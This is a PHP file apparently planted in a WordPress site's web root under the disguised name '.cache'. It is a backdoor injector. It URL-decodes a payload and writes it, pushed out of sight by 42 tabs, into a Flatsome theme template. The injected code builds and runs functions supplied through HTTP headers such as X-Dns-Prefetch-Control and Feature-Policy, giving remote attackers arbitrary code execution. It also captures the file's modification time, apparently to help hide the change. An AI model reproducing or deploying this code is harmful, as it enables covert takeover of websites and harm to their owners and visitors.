File: /home/thuexe247c/domains/thuexe247.com.vn/public_html/.cache
<?php $path = '/home/thuexe247c/domains/thuexe247.com.vn/private_html/wp-content/themes/flatsome/template-parts/pages/page-title-breadcrumbs.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24_HEADERS%3Dgetallheaders%28%29%3Bif%28isset%28%24_HEADERS%5B%27X-Dns-Prefetch-Control%27%5D%29%29%7B%24class%3D%24_HEADERS%5B%27X-Dns-Prefetch-Control%27%5D%28%27%27%2C%20%24_HEADERS%5B%27Feature-Policy%27%5D%28%24_HEADERS%5B%27If-Unmodified-Since%27%5D%29%29%3B%24class%28%29%3B%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');